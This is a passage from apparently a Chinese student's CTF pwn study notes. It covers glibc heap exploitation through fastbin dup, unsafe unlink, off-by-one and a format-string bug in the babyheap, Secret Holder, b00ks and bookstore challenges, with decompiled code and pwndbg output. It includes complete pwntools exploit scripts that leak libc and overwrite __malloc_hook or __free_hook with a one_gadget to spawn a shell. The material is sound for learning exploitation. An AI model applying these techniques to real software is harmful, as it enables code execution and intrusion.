  result = input__();
  v2 = result;
  if ( result >= 0 && result <= 15 )
  {
    result = *(_DWORD *)(24LL * result + a1);
    if ( result == 1 )
    {
      puts("Content: ");
      sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
      result = puts(byte_14F1);
    }
  }
  return result;
}

功能是根据索引打印出句子的内容,可以利用这个泄露libc地址。

到了free_chunk函数了,全部清零,连指针也清了。开辟的内存空间基本都清零了,但是分配的chunk只是free了,这个能不能利用下?

__int64 __fastcall free_chunk(__int64 a1)
{
  __int64 result; // rax
  int v2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = input__();
  v2 = result;
  if ( (signed int)result >= 0 && (signed int)result <= 15 )
  {
    result = *(unsigned int *)(24LL * (signed int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      *(_DWORD *)(24LL * v2 + a1) = 0;
      *(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;
      free(*(void **)(24LL * v2 + a1 + 16));
      result = 24LL * v2 + a1;
      *(_QWORD *)(result + 16) = 0LL;
    }
  }
  return result;
}

经过这几天的学习,好歹是能把程序流程看懂了。也算有进步。

查看程序保护:

pwndbg> checksec
[*] '/mnt/hgfs/与虚拟机交互/babyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

开启了Full RELRO,那只能利用malloc_hook了。

首先肯定是要泄露libc值的。

dump函数输出的初始点是一个指针,能不能想办法把某个函数的got表地址写到上面去,再打印出来?好像不行但是为啥我不知道啊。

那就只能是unsorted bin方法了。想办法把chunk_addr改成unsorted_chunk,然后输出fd的内容了。但是它的free过程很完整,没有use after free漏洞,也就是创建一个chunk,free之后,dump函数是无法输出free_chunk的内容的。

但是程序是存在堆溢出的漏洞的,我们可以利用这个漏洞改写fd值,首先我们需要申请一个unsorted chunk,申请之后要修改fast bins中的chunk使其中的fd指向unsorted chunk,free掉之后就能泄露出unsorted_addr。

补充:

(1)利用gdb动态调试:vmmap heap,能够得到ASLR状态。

在关闭ASLR时,bss段末尾地址=heap的起始地址;开启ASLR时,存在随机偏移。

**(2)由于heap的初始化使用了brk系统调用,同时页(4kb)是内存分配的最小单位,所以地址的低3位总是0x000。**

具体实现:

(1)创建4个fast chunk(0~3)和一个small chunk(chunk4)。

(2)释放chunk1和chunk2,其加入fastbin,即chunk2→chunk1。

(3)利用堆溢出漏洞修改chunk2→fd,使其指向chunk4。(将chunk4→size的0x91改为0x21,以绕过大小检查)。

ps:以mmap系统调用能够保证chunk是从heap的起始地址开始分配的,而heap起始地址的低字节一定是0x00,从而能退出chunk4的低位字节一定是0x80。而结构体的固定大小为0x20。

(4)chunk2→chunk4(fastbin)。

申请chunk(后进先出),先在chunk2的位置创建。

申请chunk2,在chunk4的位置创建。

(5)将chunk4→size修改回0x91,并申请另一个small chunk以防止chunk4与top chunk合并,此时释放chunk4就可将其放入unsorted bin(若下一个chunk是top chunk,则合并为新的top chunk)。

(6)此时被释放的chunk4的fd、bk指针均指向libc中的地址(当unsorted bin只有一个chunk时),只要将其泄露出来,通过计算即可得到libc中的偏移,进而得到one-gadget地址。

**ps:_malloc_hook是一个弱类型的函数指针变量,当调用malloc()函数时,首先会判断hook函数指针是否为空,不为空则调用它。**

(7)所以接下来再次利用fastbin dup修改_malloc_hook使其指向one_gadget。

先将一个fast chunk放进fast bin,修改其fd指针指向fake chunk。然后将fake chunk分配出来,进而修改器数据为one_gadget。最后只要调用calloc(),即可执行one_gadget获得shell。

#首先申请4个fast chunk和1个small chunk
alloc(0x10)#index0
alloc(0x10)#index1
alloc(0x10)#index2
alloc(0x10)#index3
alloc(0x80)#index4
#free两个,这时候会放到fastbins中,而且因为是后进的,所以
#fastbin[0]->index2->index1->NULL
free(1)
free(2)
#这个时候我们去对index0进行fill操作,他就会把index2的指针的末位改成0x80,也就指向了index4
#解释一下,前面申请了4块0x10的,加上chunk的一些信息,合起来是0x80
#所以把那个末位改成0x80就指向了index4,这样chunk4就被放到了fastbins中
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)
payload += p8(0x80)
fill(0, payload)
#然后再通过index3去进行写入,把index4的大小改成0x21
#这么做是因为当申请index4这块内存的时候,他会检查大小是不是fast chunk的范围内
payload = p64(0)*3
payload += p64(0x21)
fill(3, payload)
#fastbin[0]->index2->index4
#改好index4的大小之后去申请两次,这样就把原来的fastbins中的给申请出来了
alloc(0x10)
alloc(0x10)
#申请成功之后index2就指向index4
#为了让index4能够被放到unsortedbins中,要把它的大小改回来
payload = p64(0)*3
payload += p64(0x91)
fill(3, payload)
#再申请一个防止index4与top chunk合并了
alloc(0x80)
#这时候free就会把index4放到unsorted中了
free(4)

接下来就是利用dump函数泄露出libc地址:

#因为index2是指向index4的,所以直接把index2给dump一下就能拿到index4中前一部分的内容了
#main_arena与libc偏移为0x3c4b20(文末有工具算)
#再加上main_arena与unsortedbin的偏移,得到unsortedbins与libc的偏移
unsorted_offset_mainarena=unsorted_offset_arena(5)#这函数还不太明白
unsorted_addr=u64(dump(2)[:8].strip().ljust(8, "\x00"))
libc_base=unsorted_addr-0x3c4b20-unsorted_offset_mainarena
log.info("libc_base: "+hex(libc_base))

最后利用malloc_hook获取程序的执行流:

#此时因为fastbins中没有了,所以从unsortedbins中找
alloc(0x60)
#index2还是指向index4那个地方我们可以先释放index4
free(4)
#然后修改fd指针,通过index2往index4上写为malloc_hook,这样再次申请的时候会分配到这个地址
#但问题是我们去申请的时候会检查size是不是 fakefd + 8 == 当前fastbin的大小
#这个地址是main_arena-0x40+0xd,具体看后面图片解释
payload = p64(libc_base+0x3c4aed)
fill(2, payload)
#这时候再去申请两个,第一个是给前面free的index4,第二个就会分配到malloc_hook处
alloc(0x60)#index4
alloc(0x60)#index6
#然后往malloc_hook上写one_gadget的地址
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4526a)
fill(6, payload)
#再申请一下触发one_gadget
alloc(255)
p.interactive()

unlink机制:unlink本身是一个解链的操作,其与向前/向后合并结合,能生成一个大的small chunk。

主要代码:
 /* consolidate backward */
4277            if (!prev_inuse(p)) {
4278              prevsize = prev_size (p);
4279              size += prevsize;
4280              p = chunk_at_offset(p, -((long) prevsize));
4281              unlink(av, p, bck, fwd);
4282            }
4283        
4284            if (nextchunk != av->top) {
4285              /* get and clear inuse bit */
4286              nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
4287        
4288              /* consolidate forward */
4289              if (!nextinuse) {
4290                unlink(av, nextchunk, bck, fwd);
4291                size += nextsize;
4292              } else
4293                clear_inuse_bit_at_offset(nextchunk, 0);
4294
4295              /*
4296                Place the chunk in unsorted chunk list. Chunks are
4297                not placed into regular bins until after they have
4298                been given one chance to be used in malloc.
4299              */
4300        
4301              bck = unsorted_chunks(av);
4302              fwd = bck->fd;
4303              if (__glibc_unlikely (fwd->bk != bck))
4304                malloc_printerr ("free(): corrupted unsorted chunks");
4305              p->fd = fwd;
4306              p->bk = bck;
4307              if (!in_smallbin_range(size))
4308                {
4309                  p->fd_nextsize = NULL;
4310                  p->bk_nextsize = NULL;
4311                }
4312              bck->fd = p;
4313              fwd->bk = p;
4314        
4315              set_head(p, size | PREV_INUSE);
4316              set_foot(p, size);
4317        
4318              check_free_chunk(av, p);
4319            }
4320        
4321            /*
4322              If the chunk borders the current high end of memory,
4323              consolidate into top
4324            */
4325        
4326            else {
4327              size += nextsize;
4328              set_head(p, size | PREV_INUSE);
4329              av->top = p;
4330              check_chunk(av, p);
4331            }
向后合并

向后合并部分的代码在4277-4282行

向后合并流程:

向前合并

如果free掉的chunk相邻的下一块chunk(下面用nextchunk表示,并且nextsize表示它的大小)不是topchunk,并且是free的话就进入向前合并的流程。(见代码4284-4289行)

如果nextchunk不是free的,则修改他的size字段的pre_inuse位。 如果nextchunk是topchunk则和topchunk进行合并。

ps:检测nextchunk是否free,是通过inuse_bit_at_offset(nextchunk, nextsize)来获得nextchunk的相邻下一块chunk的size字段的presize位实现的。

向前合并流程(见代码4290-4291):

流程:(1)free掉一块chunk后,赋其值为p,判断是否符合向后合并

(2)若后面(物理上相邻的的低地址)的chunk为free,则向后合并。

(3)合并完成之后,要将chunk取出,这时用到了unlink。

(4)之后进行向前合并的判断,若next_chunk为free,且不为top,则向前合并。

(5)合并后同样为了取出chunk,要进入unlink。

unlink的操作:

​ (1)FD=P->fd BK =P->bk(FD、BK仅为变量)

​ FD->bk=BK BK->fd=FD(将前后的chunk合并)

​ (2)检查机制:

​ a、检查当前chunk的size字段与它相邻的下一块chunk中记录的pre_size是否一致。

​ b、检查是否满足P->fd->bk==P和P->bk->fd==P。

unlink、向前合并、向后合并的目的是合并物理相邻的堆块,若P之前或之后的堆块为free,那么其应该位于某个bin中,此时脱链的操作就与P无关了。

利用思路:

条件:1、UAF,可修改free状态下small bin或是unsorted bin的fd和bk指针。

2、已知位置存在一个指针指向可进行UAF的chunk。

设指向UAF chunk的指针的地址为ptr:

1、修改fd为ptr-0x18.

2、修改bk为ptr-0x10.

结果ptr处的指针会变为ptr-0x18,此时fake chunk与P合并,fake chunk的内容不再有意义。

例题:Secret Holder

这是一道经典的选单程序,可以分配small、big、huge三种堆块,其中small属于small bin,其余两种都属于large bin(一个是4000字节另一个是40万字节)。程序的主要功能是对三种secret进行添加(keep)、删除(wipe)、更新(new)操作。

首先程序存在UAF漏洞,程序的Wipe secret部分在删除secret时,仅仅释放对应的chunk并且设置标识为0,但是secret的指针并未清空。

并且在释放chunk之前也没有检查标识是否为1,存在二次释放漏洞。

其次,用于读取secret内容的read函数,它没有处理换行符或者在字符串末尾添加“\x00",存在信息泄露的风险。

为了构造unsafe unlink,需要满足两个条件:指向fake chunk的指针以及能够修改写一个堆块头的溢出漏洞。

ps:为什么需要指向fake chunk的指针?因为需要创建一个符合要求的fake chunk,已知的指针最为有用。

为什么需要溢出漏洞?为了使目标块认为fake chunk是在其之前的一个free chunk,这样才能触发unlink。

我们可以利用堆块重叠来制造溢出漏洞:

keep(1)#申请一个small chunk
wipe(1)#free掉它,但是small_ptr会保留下来
keep(2)#申请一个big chunk,这时big chunk在small chunk原来的位置上(由brk分配的chunk的位置都是相邻的)
wipe(1)#这时free对应的指针正是big_ptr,big chunk会被free掉,但是big chunk的标识保留了下来,可利用其进行堆溢出
keep(1)#再申请一个small chunk,这样在new时我们可以有big chunk的修改空间

如果我们再keep一个huge chunk的话,我们就能利用堆溢出漏洞修改堆块头。(题目是每个chunk只能申请一个)

但是huge chunk实在太大了,这时会通过mmap分配内存,但是其分配的内存与initial_top的距离太远了,无法做到与small chunk相邻。而又发现libc在释放由mmap分配的chunk时,会动态调整阈值以避免碎片化,所以如果按照keep->wipe->keep的顺序操作huge chunk,那么第二次keep时,将不再调用mmap。

所以下一段代码应该是:

keep(3)
wipe(3)
keep(3)

这样堆溢出漏洞就得到了,接下来要利用small_ptr在small chunk中制造一个fake chunk,并且修改huge chunk的头部,最后free掉huge chunk,实现unlink。

payload = p64(0)#prev_size
payload += p64(0x21)#size
payload += p64(small_ptr-0x18)#fake fd
payload += p64(small_ptr-0x10)#fake bk
payload += p64(0x20)#huge chunk的prev_size,0x20的最后一位是0,表示fake chunk是一个free chunk
payload += p64(0x61a90)#huge chunk的size
new(2,payload)
wipe(3)#unlink

这一步实现之后我们成功地将small_ptr-0x18写入small_ptr中。

接下来便是修改GOT表获取shell。

首先要获得libc偏移量

off-by-one

off-by-one是堆溢出的一种特殊形式,即只能溢出一个字节。往往存在于循环语句中。

off-by-one的类型:
1、普通的off-by-one

通常用于修改堆上的指针;

例题:b00ks

程序在打印菜单前,会调用函数sub_B6D()要求读入author name到0x202040,该地址位于.bss段上,缓冲区大小为0x20个字节。

(IDA中off_202018对应的是dq offset unk_202040,不知道这是啥偏移)。

读入author name后,又先后调用3次malloc,分别创建name、description、book struct,其中book struct的结构如下:

struct book{
	int id;
    char *name;
    char *description;
    char description_size;
}

其中books数组的起始地址为0x202060。

程序还提供了Delete book、Change用于修改author name、Edit book用于修改description和Print book打印book的相关信息。

首先,程序中明显存在off-by-one漏洞,在读入author name时,会多读入一个字符,最后该字符会置0,并且books操作在其之后,也就是说,如果读入0x20个字符,得到一个字符溢出,这样截断的\x00就会成为堆地址的一部分,而books操作在其之后,也就是截断的字符会被覆盖,再使用print函数是便会造成堆地址的泄露。

要获取shell就要得到libc地址,这里有一个小技巧,通过mmap()分配(请求一块很大的空间,例如0x21000)的堆块与libc地址存在某种固定偏移关系(0x5b0010),通常位于.tls段之前,因此只要泄露这些地址,即可计算到libc基地址。(.tls段上会有一些非常有用的信息1,例如main_arena的地址、canary的值、一些指向栈的指针等等)

具体利用过程:

(1)创建两个book,其中第二个book的name和description通过mmap()分配;

(2)通过print得到book1在栈上的地址,从而计算得到book2的地址;

(3)通过Edit在book1的description中伪造一个fake chunk,且令fake book的description ptr指向book2的name ptr(指针好像只能进行一次跳转);

指针的操作顺序为向fake description写入free hook,覆盖book2的description(为啥不是直接写入description?),在向book2的description写入one-gadget,再次调用free函数即可获取shell。

(4)通过Change author name造成null byte溢出,使books[0]指向伪造的fake book;

程序初运行,并且使用brk开辟堆栈空间,初始地址后3位为\x00,故name的大小取0xd0,fake book的大小取0x20,即可得到我们想要的堆结构,堆结构如下:

book结构

(5)再次通过Print打印出book2的name ptr,通过固定偏移得到libc基址;

(6)用Edit操作fake book,让book2的description ptr指向_free_hook,再次使用Edit操作book2,将free hook修改为one-gadget;

(7)最后delete book2,即可执行one_gadget获得shell。

调试过程:

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55901e9b3000
Size: 0x251

Addr: 0x55901e9b3250
Size: 0x1011

Allocated chunk | PREV_INUSE
Addr: 0x55901e9b4260
Size: 0xe1

Allocated chunk | PREV_INUSE
Addr: 0x55901e9b4340 #description/fake book
Size: 0x31

Allocated chunk | PREV_INUSE
Addr: 0x55901e9b4370 #book1
Size: 0x31

Allocated chunk | PREV_INUSE
Addr: 0x55901e9b43a0 #book2
Size: 0x31

Top chunk | PREV_INUSE
Addr: 0x55901e9b43d0
Size: 0x1fc31
pwndbg> x/20gx 0x55901e9b4340-0x10
0x55901e9b4330: 0x0000000000000000      0x0000000000000000
0x55901e9b4340: 0x0000000000000000      0x0000000000000031  #fake book
0x55901e9b4350: 0x00000000000000010     0x000055901e9b43c0
0x55901e9b4360: 0x0000000000000020      0x0000000000000000
0x55901e9b4370: 0x0000000000000000      0x0000000000000031  #book1
0x55901e9b4380: 0x0000000000000001      0x000055901e9b4270  #idx、name ptr
0x55901e9b4390: 0x000055901e9b4350      0x0000000000000020  #description
0x55901e9b43a0: 0x0000000000000000      0x0000000000000031  #book2
0x55901e9b43b0: 0x0000000000000002      0x00007fc95efa3010  #idx、name ptr(指向mmap首地址)
0x55901e9b43c0: 0x00007fc95ef81010      0x0000000000021000
pwndbg> vmmap

0x55901ddf1000     0x55901ddf3000 r-xp     2000 0      /mnt/
0x55901dff2000     0x55901dff3000 r--p     1000 1000   /mnt/
0x55901dff3000     0x55901dff4000 rw-p     1000 2000   /mnt/
0x55901e9b3000     0x55901e9d4000 rw-p    21000 0      [heap]
0x7fc95e9c9000     0x7fc95ebb0000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so #首个地址便是libc基地址
0x7fc95ebb0000     0x7fc95edb0000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fc95edb0000     0x7fc95edb4000 r--p     4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fc95edb4000     0x7fc95edb6000 rw-p     2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fc95edb6000     0x7fc95edba000 rw-p     4000 0      
0x7fc95edba000     0x7fc95ede3000 r-xp    29000 0      /lib/x86_64-linux-gnu/ld-2.27.so
0x7fc95ef81000     0x7fc95efc7000 rw-p    46000 0      
0x7fc95efe3000     0x7fc95efe4000 r--p     1000 29000  /lib/x86_64-linux-gnu/ld-2.27.so
0x7fc95efe4000     0x7fc95efe5000 rw-p     1000 2a000  /lib/x86_64-linux-gnu/ld-2.27.so
0x7fc95efe5000     0x7fc95efe6000 rw-p     1000 0      
0x7ffd82d7c000     0x7ffd82d9d000 rw-p    21000 0      [stack]
0x7ffd82db8000     0x7ffd82dbb000 r--p     3000 0      [vvar]
0x7ffd82dbb000     0x7ffd82dbc000 r-xp     1000 0      [vdso]
0xffffffffff600000 0xffffffffff601000 --xp     1000 0      [vsyscall]
pwndbg> p 0x00007fc95efa3010-0x7fc95e9c9000
$7 = 6135824

转16进制为5da010。

整体代码:

#coding=utf-8
from pwn import*
import pwnlib
io = process('./b00ks')
libc = ELF('./libc-2.27.so')
context.log_level = 'debug'
#3958696s
#context.terminal = ['tmux','splitw','-h']
context.terminal=['gnome-terminal','-x','sh','-c']

def Create(nsize,name,dsize,desc):
    io.sendlineafter("> ",'1')
    io.sendlineafter("name size: ",str(nsize))
    io.sendlineafter("name (Max 32 chars): ",name)
    io.sendlineafter("description size: ",str(dsize))
    io.sendlineafter("description: ",desc)
def Delete(idx):
    io.sendlineafter("> ",'2')
    io.sendlineafter("delete: ",str(idx))
def Edit(idx,desc):
    io.sendlineafter("> ",'3')
    io.sendlineafter("edit: ",str(idx))
    io.sendlineafter("description: ",desc)
def Print():
    io.sendlineafter("> ",'4')
def Change(name):
    io.sendlineafter("> ",'5')
    io.sendlineafter("name: ",name)

def leak_heap():
    global book2_addr
    io.sendlineafter("name: ","A"*0x20)
    
    Create(0x80,"AAAA",0x20,"AAAA") #book1
    Create(0x21000,"AAAA",0x21000,"AAAA") #book2
    Print()
    io.recvuntil("A"*0x20)
    book1_addr = u64(io.recv(6).ljust(8,"\x00"))
    book2_addr = book1_addr + 0x30
    log.info("book2 address: 0x%x" % book2_addr)
    
def leak_libc():
    global libc_base
    fake_book = p64(1)+p64(book2_addr + 0x8)*2+p64(0x20)
    Edit(1,fake_book)
    Change("A"*0x20)
    Print()
    io.recvuntil("Name: ")
    leak_addr = u64(io.recvn(6).ljust(8,"\x00"))
    libc_base = leak_addr - 0x5da010
    log.info("libc address: 0x%x" % libc_base)
def overwrite():
    free_hook = libc.symbols['__free_hook']+libc_base
    #malloc_hook = libc.symbols['__malloc_hook']+libc_base
    log.info("free_hook: 0x%x" % free_hook)
    #log.info("malloc_hook: 0x%x" % malloc_hook)
    one_gadget = libc_base + 0x4f432
    fake_book =p64(free_hook)*2
    #fake_book =p64(malloc_hook)*2
    Edit(1,fake_book)
    fake_book = p64(one_gadget)
    Edit(2,fake_book)
    #gdb.attach(io)
def pwn():    
    Delete(2)
    io.interactive()

if __name__=='__main__':
    leak_heap()
    leak_libc()
    overwrite()
    pwn()

被坑了,程序的libc版本不一样了,难怪一直打不通。

b00ks

成功!

2、通过预处修改对块头,制造堆块重叠,达到泄露或改写其他数据的目的。

(1)拓展被释放块:当溢出堆块的下一个堆块(即被溢出堆块)为被释放堆块且处于unsorted bin中时,可以通过溢出一个字节来扩大其size域,下次分配取出此堆块时,其后的堆块将被覆盖,造成堆块重叠。该方法的成功依赖于malloc()不会对free chunk的完整性以及next chunk的prev_size域进行检查。

例题:hack.lu CTF 2015: bookstore
while ( !v4 )
  {
    puts("1: Edit order 1");
    puts("2: Edit order 2");
    puts("3: Delete order 1");
    puts("4: Delete order 2");
    puts("5: Submit");
    fgets(&s, 128, stdin);
    switch ( s )
    {
      case 49:
        puts("Enter first order:");             // //Edit order 1
        edit((__int64)order1);
        strcpy(dest, "Your order is submitted!\n");
        goto LABEL_14;
      case 50:                                  // Edit order 2
        puts("Enter second order:");
        edit((__int64)order2);
        strcpy(dest, "Your order is submitted!\n");
        goto LABEL_14;
      case 51:                                  // delete order 1
        delete(order1);
        goto LABEL_14;
      case 52:                                  // delete order 2
        delete(order2);
        goto LABEL_14;
      case 53:                                  // submit
        sum_chunk = malloc(0x140uLL);
        if ( !sum_chunk )
        {
          fwrite("Something failed!\n", 1uLL, 0x12uLL, stderr);
          return 1LL;
        }
        output((__int64)sum_chunk, (const char *)order1, (char *)order2);
        v4 = 1;
        break;
      default:
        goto LABEL_14;
    }
  }
  printf("%s", sum_chunk);
  printf(dest);
  return 0LL;

fgets()函数中的参数s有0x80的空间,但是查看选项只选取第一个字节的字符,可用于存放一些信息。

printf(dest)部分存在格式化字符串漏洞。

edit部分:

unsigned __int64 __fastcall edit(__int64 a1)
{
  int v1; // eax
  int v3; // [rsp+10h] [rbp-10h]
  int v4; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  v3 = 0;
  v4 = 0;
  while ( v3 != 10 )
  {
    v3 = fgetc(stdin);
    v1 = v4++;
    *(_BYTE *)(v1 + a1) = v3;
  }
  *(_BYTE *)(v4 - 1LL + a1) = 0;
  return __readfsqword(0x28u) ^ v5;
}

edit函数并没有限制输入的数据的长度,所以存在溢出漏洞。

delete函数:

unsigned __int64 __fastcall delete(void *a1)
{
  unsigned __int64 v1; // ST18_8

  v1 = __readfsqword(0x28u);
  free(a1);
  return __readfsqword(0x28u) ^ v1;
}

仅仅只是free掉了堆块,但是没有将指针清空,存在UAF漏洞。

output函数:

unsigned __int64 __fastcall output(__int64 a1, const char *a2, char *a3)
{
  const char *src; // ST08_8
  unsigned __int64 v4; // ST28_8
  size_t v5; // rax
  unsigned __int64 v6; // rax
  size_t v7; // rax

  src = a3;
  v4 = __readfsqword(0x28u);
  *(_QWORD *)a1 = 4193168403758084687LL;
  *(_WORD *)(a1 + 8) = 32;
  v5 = strlen(a2);
  strncat((char *)a1, a2, v5);
  v6 = strlen((const char *)a1) + a1;
  *(_QWORD *)v6 = 3612012680953614090LL;
  *(_WORD *)(v6 + 8) = 8250;
  *(_BYTE *)(v6 + 10) = 0;
  v7 = strlen(src);
  strncat((char *)a1, src, v7);
  *(_WORD *)(strlen((const char *)a1) + a1) = 10;
  return __readfsqword(0x28u) ^ v4;
}

通过运行程序,大概知道是拼接字符串然后输出结果,但是吧,这些整形数字是怎么回事阿?看着又不像ASCII码。这个应该是存在溢出漏洞的,但是这个函数没搞懂阿。

目前了解了,该程序并未开启PIE防护,所以函数、bss段、等处的地址不变,并且程序的起始地址为0x400000,但是在开启了ASLR防护的情况下,仍需获取libc基地址。

而程序在输出之后便会直接退出,所以我们需要程序在输出之后能重新运行,需要劫持程序的执行流。

这里利用格式化字符串修改.fini_array,其位于程序的test段,用于保存终止处理函数的地址,当程序执行结束调用exit(2)时,就会执行这些函数。且当.fini_array和.fini同时存在时,会先处理.fini_array,再处理.fini。

程序运行过程中函数执行流程

其中_libc_csu_init用于对libc进行初始化;

.fini_array:00000000006011B8 _fini_array     segment para public 'DATA' use64
.fini_array:00000000006011B8                 assume cs:_fini_array
.fini_array:00000000006011B8                 ;org 6011B8h
.fini_array:00000000006011B8 off_6011B8      dq offset sub_400830    ; DATA XREF: init+19↑o

在IDA中找到程序的.fini_array。

由于格式化字符串的漏洞在printf(dest),所以我们需要想办法将设计的格式化字符串写入dest的位置。

这里有一个值得注意的点阿,这里order1的大小为0x80,也就是128,如果我输入200个字符,那么就会溢出到order2,这时如果我输出的话,order1的内容会完整地打印出来,而order2则会打印出溢出部分的内容。个人认为原因是strlen()函数也是以找到0为结束字符,所以能打出完整的内容。

所以目前的思路是这样的:

利用堆溢出,实现堆块的重叠,此时chunk2与dest块都是sum_chunk的一部分。接下来利用对chunk1写入格式化字符串,从而拼接到chunk2,chunk2的内容又拼接到dest处,这样就实现了对printf(dest)处的格式化字符串漏洞的利用,利用该漏洞修改fini_array的值,修改为main_addr,从而改变程序的执行流,同时泄露libc_main与栈地址,为下一步获取shell做准备。

本来这道题的思路并不难理解,但是我傻逼了,把栈的相关知识和格式化字符串忘得一干二净,为了搞清楚偏移量花了好大功夫。以下是调试过程:

我们首先在printf(dest)处设下断点:

pwndbg> c
Continuing.
Order 1: aaaa
Order 2: 

Breakpoint 2, __printf (format=0x602130 "Your order is submitted!\n") at printf.c:28
28	in printf.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────
 RAX  0x0
 RBX  0x0
*RCX  0x7fffffe7
*RDX  0x7ffff7dd3780 (_IO_stdfile_1_lock) ◂— 0x0
*RDI  0x602130 ◂— 'Your order is submitted!\n'
*RSI  0x0
*R8   0x8
*R9   0x18
*R10  0x18
*R11  0x246
 R12  0x400780 ◂— xor    ebp, ebp
 R13  0x7fffffffdf50 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffde70 —▸ 0x400cb0 ◂— push   r15
 RSP  0x7fffffffdda8 —▸ 0x400c93 ◂— mov    eax, 0
 RIP  0x7ffff7a637b0 (printf) ◂— sub    rsp, 0xd8
───────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────
 ► 0x7ffff7a637b0 <printf>        sub    rsp, 0xd8
   0x7ffff7a637b7 <printf+7>      test   al, al
   0x7ffff7a637b9 <printf+9>      mov    qword ptr [rsp + 0x28], rsi
   0x7ffff7a637be <printf+14>     mov    qword ptr [rsp + 0x30], rdx
   0x7ffff7a637c3 <printf+19>     mov    qword ptr [rsp + 0x38], rcx
   0x7ffff7a637c8 <printf+24>     mov    qword ptr [rsp + 0x40], r8
   0x7ffff7a637cd <printf+29>     mov    qword ptr [rsp + 0x48], r9
   0x7ffff7a637d2 <printf+34>     je     printf+91 <printf+91>
    ↓
   0x7ffff7a6380b <printf+91>     lea    rax, [rsp + 0xe0]
   0x7ffff7a63813 <printf+99>     mov    rsi, rdi
   0x7ffff7a63816 <printf+102>    lea    rdx, [rsp + 8]
───────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffdda8 —▸ 0x400c93 ◂— mov    eax, 0
01:0008│      0x7fffffffddb0 ◂— 0x100000000
02:0010│      0x7fffffffddb8 —▸ 0x6029e0 ◂— 'Order 1: aaaa\nOrder 2: \n'
03:0018│      0x7fffffffddc0 —▸ 0x400d38 ◂— pop    rcx /* 'Your order is submitted!\n' */
04:0020│      0x7fffffffddc8 —▸ 0x602010 ◂— 0x61616161 /* 'aaaa' */
05:0028│      0x7fffffffddd0 —▸ 0x6020a0 ◂— 0x0
06:0030│      0x7fffffffddd8 —▸ 0x602130 ◂— 'Your order is submitted!\n'
07:0038│      0x7fffffffdde0 ◂— '55555555\n'
─────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────
 ► f 0     7ffff7a637b0 printf
   f 1           400c93
   f 2     7ffff7a2e830 __libc_start_main+240
──────────────────────────────────────────────

从这里我们可以得到栈结构,0x7fffffffdde0处就是我们用于修改fini_array处的地址,其位于栈的第8个索引,但是栈的第一项为返回地址,并不作为参数;其次,在64位程序中,当有6个通用寄存器,只有当参数超过6个时,才向栈中存放参数,所以参数的个数计算为6+7=13,也就是偏移量为13(这里偏移量指的就是参数的个数),我们也可以通过以下命令来直接计算:

pwndbg> fmtarg 0x7fffffffdde0
The index of format argument : 13 ("\%12$p")

接下来找到libc_start_main,这里有一个固定的偏移地址:

pwndbg> stack 0x30
00:0000│ rsp  0x7fffffffdda8 —▸ 0x400c93 ◂— mov    eax, 0
01:0008│      0x7fffffffddb0 ◂— 0x100000000
02:0010│      0x7fffffffddb8 —▸ 0x6029e0 ◂— 'Order 1: aaaa\nOrder 2: \n'
03:0018│      0x7fffffffddc0 —▸ 0x400d38 ◂— pop    rcx /* 'Your order is submitted!\n' */
04:0020│      0x7fffffffddc8 —▸ 0x602010 ◂— 0x61616161 /* 'aaaa' */
05:0028│      0x7fffffffddd0 —▸ 0x6020a0 ◂— 0x0
06:0030│      0x7fffffffddd8 —▸ 0x602130 ◂— 'Your order is submitted!\n'
07:0038│      0x7fffffffdde0 ◂— '55555555\n'
08:0040│      0x7fffffffdde8 ◂— 0xa /* '\n' */
09:0048│      0x7fffffffddf0 ◂— 0x0
... ↓
10:0080│      0x7fffffffde28 ◂— 0xff00000000
11:0088│      0x7fffffffde30 ◂— 0x1
12:0090│      0x7fffffffde38 —▸ 0x400cfd ◂— add    rbx, 1
13:0098│      0x7fffffffde40 ◂— 0xff0000
14:00a0│      0x7fffffffde48 ◂— 0x0
15:00a8│      0x7fffffffde50 —▸ 0x400cb0 ◂— push   r15
16:00b0│      0x7fffffffde58 —▸ 0x400780 ◂— xor    ebp, ebp
17:00b8│      0x7fffffffde60 —▸ 0x7fffffffdf50 ◂— 0x1
18:00c0│      0x7fffffffde68 ◂— 0xdd05172f4f238500
19:00c8│ rbp  0x7fffffffde70 —▸ 0x400cb0 ◂— push   r15
1a:00d0│      0x7fffffffde78 —▸ 0x7ffff7a2e830 (__libc_start_main+240) ◂— mov    edi, eax
1b:00d8│      0x7fffffffde80 ◂— 0x0
1c:00e0│      0x7fffffffde88 —▸ 0x7fffffffdf58 —▸ 0x7fffffffe29e ◂— 0x6667682f746e6d2f ('/mnt/hgf')
1d:00e8│      0x7fffffffde90 ◂— 0x100000000
1e:00f0│      0x7fffffffde98 —▸ 0x400a39 ◂— push   rbp
1f:00f8│      0x7fffffffdea0 ◂— 0x0
20:0100│      0x7fffffffdea8 ◂— 0x358158db179d1790
21:0108│      0x7fffffffdeb0 —▸ 0x400780 ◂— xor    ebp, ebp
22:0110│      0x7fffffffdeb8 —▸ 0x7fffffffdf50 ◂— 0x1
23:0118│      0x7fffffffdec0 ◂— 0x0
... ↓
25:0128│      0x7fffffffded0 ◂— 0xca7ea7a4b3fd1790
